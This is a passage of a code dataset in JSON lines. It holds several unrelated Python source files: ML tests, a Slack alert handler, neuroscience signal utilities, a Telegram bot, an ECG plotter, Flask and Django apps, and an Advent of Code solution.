os.environ['FORCE_FP16']\n        del os.environ['FORCE_BF16']\n        shutil.rmtree(\"./models\", ignore_errors=True)\n        shutil.rmtree(\"./nc_workspace\", ignore_errors=True)\n\n    def test_mixed_precision_with_keras_model(self):\n        from neural_compressor.data import DataLoader\n        dataset = Dataset()\n        dataloader = DataLoader(framework='tensorflow', dataset=dataset)\n\n        from neural_compressor.config import MixedPrecisionConfig\n        from neural_compressor import mix_precision\n        config = MixedPrecisionConfig()\n        q_model = mix_precision.fit(\n            model='./models/saved_model',\n            config=config,\n            eval_dataloader=dataloader, \n            eval_metric=MyMetric())\n\n        # Optional, run quantized model\n        import tensorflow as tf\n        with tf.compat.v1.Graph().as_default(), tf.compat.v1.Session() as sess:\n            tf.compat.v1.import_graph_def(q_model.graph_def, name='')\n            out = sess.run(['Identity:0'], feed_dict={'input:0':dataset.test_images})\n            print(\"Inference is done.\")\n\n        found_cast = False\n        for i in q_model.graph_def.node:\n            if i.op == 'Cast':\n                found_cast = True\n                break\n        self.assertEqual(found_cast, True)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"sankalpvarshney/neural-compressor","sub_path":"test/mixed_precision/test_mixed_precision_keras_model.py","file_name":"test_mixed_precision_keras_model.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39693360924","text":"import os\nfrom datetime import datetime, timedelta, timezone\n\nimport prison\nimport requests\n\n\nclass BaseHandler:\n    webhook_url: str = None\n\n    def __init__(self, msg):\n        self.region = self._message_region(msg)\n        self.dimensions = {d[\"name\"]: d[\"value\"] for d in msg[\"Trigger\"][\"Dimensions\"]}\n\n    def _message_region(self, message):\n        try:\n            # Assumed format: \"arn:aws:cloudwatch:eu-west-1:xxxxxxxxxxxx:alarm:ALARM_NAME\"\n            return message[\"AlarmArn\"].split(\":\")[3]\n        except (KeyError, IndexError):\n            return \"eu-west-1\"\n\n    def aws_base_url(self, service):\n        return f\"https://{self.region}.console.aws.amazon.com/{service}/home?region={self.region}#\"\n\n    def slack_text(self):\n        raise NotImplementedError\n\n    def post_to_slack(self):\n        response = requests.post(\n            self.webhook_url,\n            json={\"text\": self.slack_text()},\n            headers={\"Content-Type\": \"application/json\"},\n        )\n\n        if response.status_code != 200:\n            raise ValueError(\n                \"Request to Slack gave an error code {}, the response is:\\n{}\".format(\n                    response.status_code, response.text\n                )\n            )\n\n\nclass LambdaHandler(BaseHandler):\n    webhook_url = os.environ[\"SLACK_LAMBDA_ALERTS_WEBHOOK_URL\"]\n    msg_format = os.environ[\"SLACK_LAMBDA_ALERTS_MSG_FORMAT\"]\n\n    def kibana_url(self, function_name):\n        now = datetime.now(timezone.utc)\n\n        filters = [\n            {\"query\": {\"match_phrase\": match_phrase}}\n            for match_phrase in [\n                {\"function_name\": function_name},\n                {\"level\": \"error\"},\n            ]\n        ]\n        time = {\n            key: time.isoformat().replace(\"+00:00\", \"Z\")\n            for key, time in [\n                (\"from\", now - timedelta(minutes=15)),\n                (\"to\", now + timedelta(minutes=5)),\n            ]\n        }\n        return \"{}/discover#/?_a={}&_g={}\".format(\n            os.environ.get(\"KIBANA_BASE_URL\"),\n            prison.dumps({\"filters\": filters}),\n            prison.dumps({\"time\": time}),\n        )\n\n    def slack_text(self):\n        function_name = self.dimensions.get(\"FunctionName\")\n\n        if not function_name:\n            raise ValueError(\"Lambda function name not found\")\n\n        aws_base_url = self.aws_base_url(\"lambda\")\n\n        return self.msg_format.format(\n            config_url=f\"{aws_base_url}/functions/{function_name}?tab=configuration\",\n            function_name=function_name,\n            monitor_url=f\"{aws_base_url}/functions/{function_name}?tab=monitoring\",\n            kibana_url=self.kibana_url(function_name),\n        )\n\n\nclass StateMachineHandler(BaseHandler):\n    webhook_url = os.environ[\"SLACK_STATE_MACHINE_ALERTS_WEBHOOK_URL\"]\n    msg_format = os.environ[\"SLACK_STATE_MACHINE_ALERTS_MSG_FORMAT\"]\n\n    def slack_text(self):\n        state_machine_arn = self.dimensions.get(\"StateMachineArn\")\n\n        if not state_machine_arn:\n            raise ValueError(\"State machine ARN not found\")\n\n        base_url = self.aws_base_url(\"states\")\n\n        return self.msg_format.format(\n            url=f\"{base_url}/statemachines/view/{state_machine_arn}\",\n            name=state_machine_arn.split(\":\")[-1],\n        )\n","repo_name":"oslokommune/sns-to-slack","sub_path":"slack/message_handlers.py","file_name":"message_handlers.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40955390647","text":"import ScanImageTiffReader\r\nimport re\r\nimport fnmatch\r\nimport os\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.signal import argrelextrema\r\nimport scipy.signal as signal\r\nimport fnmatch\r\nfrom ScanImageTiffReader import ScanImageTiffReader as tiffread\r\nfrom scipy import interpolate\r\n\r\ndef getTifListsFull(currdir):\r\n    temp=[]           \r\n    for file in os.listdir(currdir):\r\n        if fnmatch.fnmatch(file, '*.tif'):\r\n            temp.append(currdir+\"/\"+file)\r\n    return temp\r\n\r\n\r\ndef getRespEventsAndAvg(I2C_array,p=(11,7,30,15), display=False,method=\"extremum\", event=\"peak\",rangeResp=0,parsing=[0,0]):\r\n    \"\"\"\r\n    p = parameters\r\n    event = \"onset\", \"peak\"\r\n    method = \"cwt\", \"extremum\"\r\n    \"\"\"\r\n    \r\n    #display=False\r\n    \r\n    winSz=p[0] \r\n    polyOrder=p[1]\r\n    widths=p[2]\r\n    order=p[3]\r\n    \r\n    #############################\r\n    \r\n    x=I2C_array[:,0] #time in seconds\r\n    y=I2C_array[:,1] #data\r\n    \r\n    y=signal.detrend(y)\r\n    y = savitzky_golay(y, winSz, polyOrder)\r\n    dy=np.diff(y)\r\n    \r\n    #############################\r\n    if method==\"extremum\":\r\n        if event == \"peak\":\r\n            minima=argrelextrema(y, np.less,order=order)[0]\r\n        if event == \"onset\":\r\n            minima=argrelextrema(dy, np.less,order=order)[0]\r\n            \r\n    if method==\"cwt\":\r\n        if event == \"peak\":\r\n            minima=signal.find_peaks_cwt(-y,np.arange(1,widths))\r\n        if event == \"peak\":\r\n            minima=signal.find_peaks_cwt(-dy,np.arange(1,widths))\r\n\r\n    #############################\r\n    \r\n    l=len(minima)\r\n    interval=0\r\n    for i in range(1,l-1): #boundaries cdts\r\n        #print i\r\n        interval+= minima[i+1]-minima[i]\r\n    interval=interval/float(l-2)\r\n    #freq=1/interval\r\n    #print \"interval: \"+str(interval)\r\n    #print \"resp sampling rate: \"+str(freq)\r\n    r=int(interval/2)\r\n    if rangeResp:\r\n        r=rangeResp\r\n    RespCycles=np.zeros((l-2,2*r))\r\n    events=np.zeros(((l-2),3)) #start,event,end\r\n#     print \" \" \r\n#     print \"respRange: \"+str(r)\r\n#     print \" \"\r\n\r\n    for i in range(1,l-1): #exclude the first one and last one: bound. cdts\r\n        #print i\r\n        RespCycles[i-1,:]=y[minima[i]-r:minima[i]+r]\r\n        events[i-1,0]= I2C_array[minima[i]-r,0]\r\n        events[i-1,1]= I2C_array[minima[i],0]\r\n        events[i-1,2]= I2C_array[minima[i]+r,0]\r\n\r\n    \r\n    \r\n    ############################# remove negative times\r\n    #print events.shape\r\n    #rint RespCycles.shape\r\n\r\n    if events[0,0]<0 :\r\n        zeroTime=np.where(events[:,0]<0.0)[0][-1]+1\r\n        events=events[zeroTime:]\r\n        RespCycles=RespCycles[zeroTime:]\r\n    \r\n    print(events.shape)\r\n    #print RespCycles.shape\r\n    ############################# parsing\r\n    if (parsing != [0,0]).any():\r\n        print(\"Parsing\")\r\n        startTime=np.where(events[:,0]>=parsing[0])[0][0]\r\n        endTime=np.where(events[:,2]<=parsing[1])[0][-1]\r\n        events = events[startTime:endTime+1]\r\n        RespCycles=RespCycles[startTime:endTime+1]\r\n        \r\n        #print startTime\r\n        #print endTime\r\n        \r\n    print(events.shape)\r\n    #print RespCycles.shape\r\n    ############################# get times\r\n    \r\n    temp=np.zeros(events.shape[0])\r\n    for i in range(events.shape[0]): \r\n        temp[i] = events[i,2]-events[i,0]\r\n        #print events[i,2]-events[i,0]\r\n\r\n    intervalRangeResp = np.median(temp) #2B CHANGED TO MEAN; used here because outlier present due to blank frame/i2c\r\n    \r\n    \r\n    avg=np.mean(RespCycles,axis=0)\r\n    \r\n    avgRespT=np.zeros(avg.shape[0])\r\n    for i in range(avg.shape[0]):\r\n        avgRespT[i] = intervalRangeResp*(i/ float(avg.shape[0]-1) )\r\n        \r\n    ############################# get frequency\r\n    intervalCycleResp=0\r\n    for i in range(1,events.shape[0]): \r\n        intervalCycleResp+= events[i,1]-events[i-1,1]#between 2 peaks\r\n    intervalCycleResp = intervalCycleResp / (events.shape[0]-1)\r\n    freq = 1 / intervalCycleResp\r\n    \r\n    #############################\r\n    \r\n\r\n    #print \" \"\r\n    l=RespCycles.shape[0]\r\n    if display:\r\n        for i in range(l):\r\n            #print i\r\n            plt.plot(avgRespT,RespCycles[i])\r\n        plt.plot(avgRespT, avg,linewidth=10,linestyle=\"--\",color=\"black\")\r\n        plt.xlabel(\"seconds\")\r\n        \r\n    return events, avgRespT, avg,freq\r\n    \r\n\r\ndef getNumOfLines(filename):\r\n    lines = 0\r\n    for line in open(filename):\r\n        lines += 1\r\n    return lines\r\n\r\ndef getNumOfElem(filename):\r\n    with open(filename) as f:\r\n        content = f.readlines()\r\n        content = [x.strip() for x in content] \r\n        numOfElem = len(content[0].split(\" \"))\r\n    return numOfElem\r\n\t\r\ndef load2DArrayFromTxt(path):\r\n    numOfLines = getNumOfLines(path)\r\n    numOfElem = getNumOfElem(path)\r\n    arr=np.zeros((numOfLines,numOfElem))\r\n\r\n    with open(path) as f:\r\n        content = f.readlines()\r\n        content = [x.strip() for x in content] \r\n\r\n    for i in range(numOfLines):\r\n        for j in range(numOfElem):\r\n            arr[i,j]=float(content[i].split(\" \")[j])\r\n    return arr\r\n\r\ndef savitzky_golay(y, window_size, order, deriv=0, rate=1):\r\n    r\"\"\"Smooth (and optionally differentiate) data with a Savitzky-Golay filter.\r\n    The Savitzky-Golay filter removes high frequency noise from data.\r\n    It has the advantage of preserving the original shape and\r\n    features of the signal better than other types of filtering\r\n    approaches, such as moving averages techniques.\r\n    Parameters\r\n    ----------\r\n    y : array_like, shape (N,)\r\n        the values of the time history of the signal.\r\n    window_size : int\r\n        the length of the window. Must be an odd integer number.\r\n    order : int\r\n        the order of the polynomial used in the filtering.\r\n        Must be less then `window_size` - 1.\r\n    deriv: int\r\n        the order of the derivative to compute (default = 0 means only smoothing)\r\n    Returns\r\n    -------\r\n    ys : ndarray, shape (N)\r\n        the smoothed signal (or it's n-th derivative).\r\n    Notes\r\n    -----\r\n    The Savitzky-Golay is a type of low-pass filter, particularly\r\n    suited for smoothing noisy data. The main idea behind this\r\n    approach is to make for each point a least-square fit with a\r\n    polynomial of high order over a odd-sized window centered at\r\n    the point.\r\n    Examples\r\n    --------\r\n    t = np.linspace(-4, 4, 500)\r\n    y = np.exp( -t**2 ) + np.random.normal(0, 0.05, t.shape)\r\n    ysg = savitzky_golay(y, window_size=31, order=4)\r\n    import matplotlib.pyplot as plt\r\n    plt.plot(t, y, label='Noisy signal')\r\n    plt.plot(t, np.exp(-t**2), 'k', lw=1.5, label='Original signal')\r\n    plt.plot(t, ysg, 'r', label='Filtered signal')\r\n    plt.legend()\r\n    plt.show()\r\n    References\r\n    ----------\r\n    .. [1] A. Savitzky, M. J. E. Golay, Smoothing and Differentiation of\r\n       Data by Simplified Least Squares Procedures. Analytical\r\n       Chemistry, 1964, 36 (8), pp 1627-1639.\r\n    .. [2] Numerical Recipes 3rd Edition: The Art of Scientific Computing\r\n       W.H. Press, S.A. Teukolsky, W.T. Vetterling, B.P. Flannery\r\n       Cambridge University Press ISBN-13: 9780521880688\r\n    \"\"\"\r\n    import numpy as np\r\n    from math import factorial\r\n    \r\n    try:\r\n        window_size = np.abs(np.int(window_size))\r\n        order = np.abs(np.int(order))\r\n    except ValueError as msg:\r\n        raise ValueError(\"window_size and order have to be of type int\")\r\n    if window_size % 2 != 1 or window_size < 1:\r\n        raise TypeError(\"window_size size must be a positive odd number\")\r\n    if window_size < order + 2:\r\n        raise TypeError(\"window_size is too small for the polynomials order\")\r\n    order_range = list(range(order+1))\r\n    half_window = (window_size -1) // 2\r\n    # precompute coefficients\r\n    b = np.mat([[k**i for i in order_range] for k in range(-half_window, half_window+1)])\r\n    m = np.linalg.pinv(b).A[deriv] * rate**deriv * factorial(deriv)\r\n    # pad the signal at the extremes with\r\n    # values taken from the signal itself\r\n    firstvals = y[0] - np.abs( y[1:half_window+1][::-1] - y[0] )\r\n    lastvals = y[-1] + np.abs(y[-half_window-1:-1][::-1] - y[-1])\r\n    y = np.concatenate((firstvals, y, lastvals))\r\n    return np.convolve( m[::-1], y, mode='valid')\r\n\t\r\n\r\n\r\ndef save2DArray2txt(arr,path,name): #arrayMetrics,path\r\n    l=arr.shape[0]\r\n    ll=arr.shape[1]\r\n    fh = open(path+\"/\"+name+\".txt\",\"w\") \r\n    for i in range(l):\r\n        for j in range(ll):\r\n            lines_of_text = [str(arr[i,j])+\" \"] \r\n            fh.writelines(lines_of_text) \r\n        lines_of_text = [\"\\n\"] \r\n        fh.writelines(lines_of_text) \r\n    fh.close()\r\n\r\n#def extractI2CfromSingleFile(path): ############ old\r\n#    name=path.split(\"/\")[-1][:-4]\r\n#    savepath=path[:-len(path.split(\"/\")[-1])]\r\n#\r\n#    I2C_list=[] #list of (timestamp, data, frame)\r\n#\r\n#    with ScanImageTiffReader.ScanImageTiffReader(path) as reader:\r\n#        print(str(reader.shape())+\"\\n\")\r\n#        nOfFrames=reader.shape()[0]\r\n#        for i in range(nOfFrames):\r\n#            #print reader.description(i)\r\n#            rawI2C = reader.description(i).split(\"\\n\")[14]\r\n#            rawI2C_numbers = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", reader.description(i).split(\"\\n\")[14])[1:]\r\n#            print(rawI2C_numbers)\r\n#            numOfData = len(rawI2C_numbers)/2\r\n#\r\n#            if (numOfData > 0):\r\n#                for j in range(numOfData):\r\n#                    time=float(rawI2C_numbers[2*j])\r\n#                    data=int(rawI2C_numbers[2*j+1])\r\n#                    I2C_list.append((time,data,i+1))\r\n#\r\n#    I2C_array=np.asarray(I2C_list) #array of (timestamp, data, frame)\r\n#    save2DArray2txt(I2C_array,savepath,name)\r\n#    print(\"done \"+name)\r\n#    return I2C_array\r\n    \r\ndef extractI2CfromSingleFile(path):\r\n# path=fnames[0]\r\n\r\n    name=path.split(\"/\")[-1][:-4]\r\n    savepath=path[:-len(path.split(\"/\")[-1])]\r\n\r\n    I2C_list=[] #list of (frame, timestamp, data-n)\r\n\r\n    with ScanImageTiffReader.ScanImageTiffReader(path) as reader:\r\n        print(str(reader.shape())+\"\\n\")\r\n        nOfFrames=reader.shape()[0]\r\n        for i in range(nOfFrames):\r\n            #print reader.description(i)\r\n    #             rawI2C = reader.description(i).split(\"\\n\")[14]\r\n            s = reader.description(i).split(\"\\n\")[14]\r\n            rawI2C_numbers = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", s)[1:]\r\n#             print(s)\r\n#             print(\">>>>>>>>\")\r\n#             print(rawI2C_numbers)\r\n            ss=s.split(\"{{\")[1].split(\"}\")[0]\r\n            lenSS=len(re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", ss))\r\n            numOfData = int(len(rawI2C_numbers)/lenSS)\r\n    #         numOfData = len(rawI2C_numbers)/2\r\n\r\n            if (numOfData > 0):\r\n                for j in range(numOfData):\r\n                    pack=[]\r\n                    time=float(rawI2C_numbers[lenSS*j])\r\n                    pack.append(i+1)\r\n                    pack.append(time)\r\n                    for ii in range(lenSS-1):\r\n                        data=int(rawI2C_numbers[lenSS*j+ii+1])\r\n                        pack.append(data)\r\n#                    print(\"pack, \",pack)\r\n                    I2C_list.append(pack)\r\n\r\n    I2C_array=np.asarray(I2C_list) #array of (frame, timestamp, data-n)\r\n    save2DArray2txt(I2C_array,savepath,name)\r\n    print(\"done \"+name)\r\n    return I2C_array\r\n    \r\ndef extractI2CfromFilesDir(path):\r\n\r\n# path=dirpath\r\n\r\n    paths=[]\r\n    for file in os.listdir(path):\r\n        if fnmatch.fnmatch(file, '*.tif'):\r\n    #         print(\"file :\",file)\r\n            paths.append(path+\"/\"+file)\r\n    #         print(paths[-1])\r\n\r\n    name = path.split(\"/\")[-1]\r\n    savepath=paths[0][:-1-len(paths[0].split(\"/\")[-1])]\r\n    print(savepath)\r\n    I2C_array = extractI2CfromSingleFile(paths[0])\r\n    print(I2C_array.shape)\r\n    print(paths[0],\" done\")\r\n\r\n    for path in paths[1:]:\r\n        newI2C_array = extractI2CfromSingleFile(path)\r\n        newI2C_array[:,0] = newI2C_array[:,0] + I2C_array[-1,0]\r\n        I2C_array = np.vstack((I2C_array,newI2C_array ) )\r\n        print(I2C_array.shape)\r\n        print(path,\" done\")\r\n\r\n    save2DArray2txt(I2C_array,savepath,name)\r\n    print(\"done \"+name)\r\n    return I2C_array\r\n\r\ndef interpolateTime(x,t,newt,kind=\"zero\",fill_value=\"extrapolate\"):\r\n#     kind=\"zero\"#'previous' #kind of interpolation\r\n#     #‘linear’, ‘nearest’, ‘zero’, ‘slinear’, ‘quadratic’, ‘cubic’, ‘previous’, ‘next’,\r\n#     nan = float('nan')\r\n#     fill_value=\"extrapolate\"#nan\r\n    f_interp = interpolate.interp1d(t, x, kind=kind, fill_value=fill_value)\r\n    xnew=f_interp(newt)\r\n    return xnew\r\n\r\ndef getTimestampsScanImage(fname):\r\n    ts=[]\r\n    scanimage = tiffread(fname)\r\n    for i in range(99999999):\r\n        try:\r\n            s=scanimage.description(i).split(\"frameTimestamps_sec \")[1]\r\n            print(re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", s)[0])\r\n            ts.append(float(re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", s)[0]))\r\n        except:\r\n            print(i, \"last frame\")\r\n            break\r\n    return np.asarray(ts)\r\n\r\ndef getTimestampsScanImageFromList(fnames):\r\n    print(fnames[0])\r\n    r=getTimestampsScanImage(fnames[0])\r\n    print(\">>>>\", r.shape)\r\n    for f in fnames[1:]:\r\n        print(f)\r\n        r=np.hstack((r,getTimestampsScanImage(f)))\r\n        print(\">>>>\", r.shape)\r\n    return r\r\n\r\ndef extractI2CfromFilesList(paths):\r\n\r\n    path = (\"/\").join(paths[0].split(\"/\")[:-1])\r\n    name = path.split(\"/\")[-1]\r\n    savepath=paths[0][:-1-len(paths[0].split(\"/\")[-1])]\r\n    print(savepath)\r\n    I2C_array = extractI2CfromSingleFile(paths[0])\r\n    print(I2C_array.shape)\r\n    print(paths[0],\" done\")\r\n\r\n    for path in paths[1:]:\r\n        newI2C_array = extractI2CfromSingleFile(path)\r\n        newI2C_array[:,0] = newI2C_array[:,0] + I2C_array[-1,0]\r\n        I2C_array = np.vstack((I2C_array,newI2C_array ) )\r\n        print(I2C_array.shape)\r\n        print(path,\" done\")\r\n\r\n    save2DArray2txt(I2C_array,savepath,name)\r\n    print(\"done \"+name)\r\n    return I2C_array","repo_name":"JohnstonLab/2P-utilities","sub_path":"ExtractI2C/respiration3.py","file_name":"respiration3.py","file_ext":"py","file_size_in_byte":13951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74792626981","text":"from bot_token import tok\nfrom controller import main_handler\n\nimport logging\nimport telebot\nfrom typing import Dict\nfrom telegram import ReplyKeyboardMarkup, Update, ReplyKeyboardRemove\nfrom telegram.ext import (\n    Updater,\n    CommandHandler,\n    MessageHandler,\n    Filters,\n    ConversationHandler,\n    CallbackContext,\n)\n\nlogging.basicConfig(\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO\n)\n\nlogger = logging.getLogger(__name__)\nupdater = Updater(tok)\ndispatcher = updater.dispatcher\n\ndispatcher.add_handler(main_handler)\n    \nupdater.start_polling()\nprint('server started')\nupdater.idle()\n\n\n# def message(update, context):\n#     text = update.message.text\n#     if text.lower() == 'привет':\n#         context.bot.send_message(update.effective_chat.id, 'И тебе привет..')\n#     else:\n#         context.bot.send_message(update.effective_chat.id, 'я тебя не понимаю')\n\n\n# def unknown(update, context):\n#     context.bot.send_message(update.effective_chat.id, f'Шо сказал, не пойму')\n\n\n# start_handler = CommandHandler('start', controller.menu)\n# show_all_contacts_handler = CommandHandler('show_cont', controller.show_all_contacts)\n\n\n# #info_handler = CommandHandler('info', info)\n# message_handler = MessageHandler(Filters.text, message)\n# unknown_handler = MessageHandler(Filters.command, unknown) #/game\n\n\n# dispatcher.add_handler(start_handler)\n# dispatcher.add_handler(show_all_contacts_handler)\n\n\n\n# #dispatcher.add_handler(conv_handler)\n# #dispatcher.add_handler(info_handler)\n# dispatcher.add_handler(unknown_handler)\n# dispatcher.add_handler(message_handler)\n\n# print('server started')\n# updater.start_polling()\n# updater.idle()\n\n\n","repo_name":"makr0n/Py_HW_09_TGMBot_Phonebook","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"185860856","text":"import sys\n\n# Custom imports\nimport patient\n\ntry:\n    funct = sys.argv[1]\nexcept IndexError:\n    print(\"Usage Examples: \\n\"\n          \"\\tpython plotecg.py -HR 9004.ecg (Calculates heart rate and plots it)\\n\"\n          \"\\tpython plotecg.py -L 1 2 3 9004.ecg (Plots the raw lead data)\\n\")\n    sys.exit()\n\nleads = None\n\nif funct == \"-HR\":\n    filename = sys.argv[2]\nelif funct == \"-L\":\n    length = len(sys.argv)\n    if length == 3:\n        filename = sys.argv[2]\n    elif length == 4:\n        filename = sys.argv[3]\n        leads = int(sys.argv[2]) - 1\n    elif length == 5:\n        filename = sys.argv[4]\n        leads = [int(sys.argv[2]) - 1, int(sys.argv[3]) - 1]\n    elif length == 6:\n        filename = sys.argv[5]\n        leads = [int(sys.argv[2]) - 1, int(sys.argv[3]) - 1, int(sys.argv[4]) - 1]\n    else:\n        print(\"Please specify between 0 and 3 leads\\n\")\n        sys.exit()\n\nelse:\n    print(\"Please use -HR or -L\\n\")\n    sys.exit()\ntry:\n    f = open(filename, 'rb')\nexcept IOError:\n    print('%s cannot be opened', filename)\n    sys.exit()\n\n# Create the patient object\np = patient.Patient()\n\n# Read the file\np.load_ecg_data(filename)\n\nif funct == \"-HR\":\n    for lead in p.active_leads:\n        p.leads[lead].get_heart_rate()\n    #p.plot_hr_data()\nif funct == \"-L\":\n    p.plot_ecg_leads_voltage(leads)\n\n    # for lead in p.leads:\n    #    lead.plot_lead()\n","repo_name":"smillerc/dhealth","sub_path":"plotecg.py","file_name":"plotecg.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14241721602","text":"from flask import Flask, request, jsonify\nimport tensorflow as tf\nimport numpy as np\n\napp = Flask(__name__)\n\n\nloaded_model = tf.keras.models.load_model('my_churn')\n\ndef preprocess_input(input_data):\n    try:\n\n        preprocessed_data = np.array(input_data, dtype=float)\n        return preprocessed_data\n    except Exception as e:\n        raise ValueError(\"Error in preprocessing input data: \" + str(e))\n\n@app.route('/')\ndef home():\n    return \"Welcome to the Churn Prediction App!\"\n\n@app.route('/predict', methods=['POST'])\ndef predict_churn():\n    try:\n        \n        user_input = request.json\n        \n        \n        preprocessed_data = preprocess_input([user_input])  \n        \n        predictions = loaded_model.predict(preprocessed_data)\n        \n        churn_prediction = 1 if predictions[0][0] >= 0.5 else 0\n        \n        return jsonify({'churn_prediction': churn_prediction})\n\n    except Exception as e:\n        return jsonify({'error': str(e)})\n\nif __name__ == '__main__':\n    app.run(debug=False)\n","repo_name":"tallhypnosis/churn","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72697765221","text":"from http import HTTPStatus\n\nfrom django.test import Client, TestCase\nfrom posts.models import Group, Post, User\n\n\nclass PostURLTests(TestCase):\n    @classmethod\n    def setUpClass(cls) -> None:\n        super().setUpClass()\n        cls.user = User.objects.create(username='HasNoName')\n        cls.post = Post.objects.create(\n            author=cls.user,\n            text='Тестовый текст',\n        )\n        cls.group = Group.objects.create(\n            title='Тестовая группа',\n            slug='test-slug',\n            description=\"Тестовое описание\",\n        )\n        cls.public_urls_templates = {\n            '/': 'posts/index.html',\n            f'/group/{cls.group.slug}/': 'posts/group_list.html',\n            f'/profile/{cls.user}/': 'posts/profile.html',\n            f'/posts/{cls.post.id}/': 'posts/post_detail.html',\n        }\n        cls.protected_urls_templates = {\n            '/create/': 'posts/create_post.html',\n        }\n        cls.private_urls_templates = {\n            f'/posts/{cls.post.id}/edit/': 'posts/create_post.html',\n        }\n\n    def setUp(self) -> None:\n        self.guest_client = Client()\n        self.authorized_client = Client()\n        self.authorized_client.force_login(self.user)\n\n    def test_urls_uses_correct_template_guest(self):\n        \"\"\"Страница доступна и использует соответствующий шаблон\n        для неавторизованного клиента\"\"\"\n        for address, template in self.public_urls_templates.items():\n            with self.subTest(address=address):\n                response = self.guest_client.get(address)\n                self.assertTemplateUsed(response, template)\n                self.assertEqual(response.status_code, HTTPStatus.OK)\n\n    def test_urls_uses_correct_template_auth(self):\n        \"\"\"Страница доступна и использует соответствующий шаблон\n        для авторизованного клиента\"\"\"\n        for address, template in self.protected_urls_templates.items():\n            with self.subTest(address=address):\n                response = self.authorized_client.get(address)\n                self.assertTemplateUsed(response, template)\n                self.assertEqual(response.status_code, HTTPStatus.OK)\n\n    def test_urls_uses_correct_template_author(self):\n        \"\"\"Страница доступна и использует соответствующий шаблон\n        только для автора\"\"\"\n        self.assertEqual(self.post.author, self.user)\n        for address, template in self.private_urls_templates.items():\n            with self.subTest(address=address):\n                response = self.authorized_client.get(address)\n                self.assertTemplateUsed(response, template)\n                self.assertEqual(response.status_code, HTTPStatus.OK)\n\n    def test_unexisting_page_at_desired_location(self):\n        response = self.guest_client.get('/unexisting_page/')\n        self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND)\n\n    def test_unexisting_page_uses_correct_template(self):\n        response = self.guest_client.get('/unexisting_page/')\n        self.assertTemplateUsed(response, 'core/404.html')\n        self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND)\n","repo_name":"aanastasiapetrova/yatube","sub_path":"yatube/posts/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75305039140","text":"from flask import render_template\nfrom app import app\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n    user = {'username': 'Harrison'}\n    posts = [\n        {\n            'author' : {'username' : 'Joey'},\n            'body': 'This is a post.'\n        },\n        {\n            'author': {'username': 'Henry'},\n            'body': 'This is another post.'\n        }\n    ]\n    return render_template('index.html', title='Home', user=user, posts=posts)\n","repo_name":"hwaala/blog","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13668646659","text":"import re\nfrom collections import defaultdict\n\ninp = [x.rstrip() for x in open('inp14.txt').readlines()]\n\ndef mask_val(val, mask):\n  b = bin(val)[2:]\n  b = (36 - len(b)) * '0' + b\n  res = []\n  for i in range(36):\n    if mask[i] == 'X':\n      res.append(str(b[i]))\n    else:\n      res.append(str(mask[i]))\n  return int(''.join(res), 2)\n\ndef first_part(inp):\n  current_mask = None\n  mem = defaultdict(int)\n  for line in inp:\n    if line.startswith('mask'):\n      current_mask = line.split('=')[1].lstrip()\n    else:\n      p = re.compile('mem\\[(\\d+)\\] = (\\d+)')    \n      mobj = p.match(line)\n      addr, val = mobj.groups()\n      mem[addr] = mask_val(int(val), current_mask) \n\n  return sum(mem.values())\n\ndef gen_all_addrs(addr):\n  if not 'X' in addr:\n    return [int(''.join(addr), 2)]\n  v0 = [x for x in addr]\n  v1 = [x for x in addr]\n  ind = addr.index('X')\n  v0[ind] = '0'\n  v1[ind] = '1'\n  return gen_all_addrs(v0) + gen_all_addrs(v1)\n\ndef decode_val(addr, mask):\n  b = bin(addr)[2:]\n  b = (36 - len(b)) * '0' + b\n  res = []\n  for i in range(36):\n    if mask[i] == '1':\n      res.append('1')\n    elif mask[i] == '0':\n      res.append(b[i])\n    else:\n      res.append('X')\n  return gen_all_addrs(res)\n\ndef second_part(inp):\n  current_mask = None\n  mem = defaultdict(int)\n  for line in inp:\n    if line.startswith('mask'):\n      current_mask = line.split('=')[1].lstrip()\n    else:\n      p = re.compile('mem\\[(\\d+)\\] = (\\d+)')    \n      mobj = p.match(line)\n      addr, val = mobj.groups()\n      addrs = decode_val(int(addr), current_mask)\n      for a in addrs:\n        mem[a] = int(val)\n  return sum(mem.values())\n\nprint('First part:', first_part(inp))\nprint('Second part:', second_part(inp))\n","repo_name":"squancy/aoc-solutions","sub_path":"2020/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
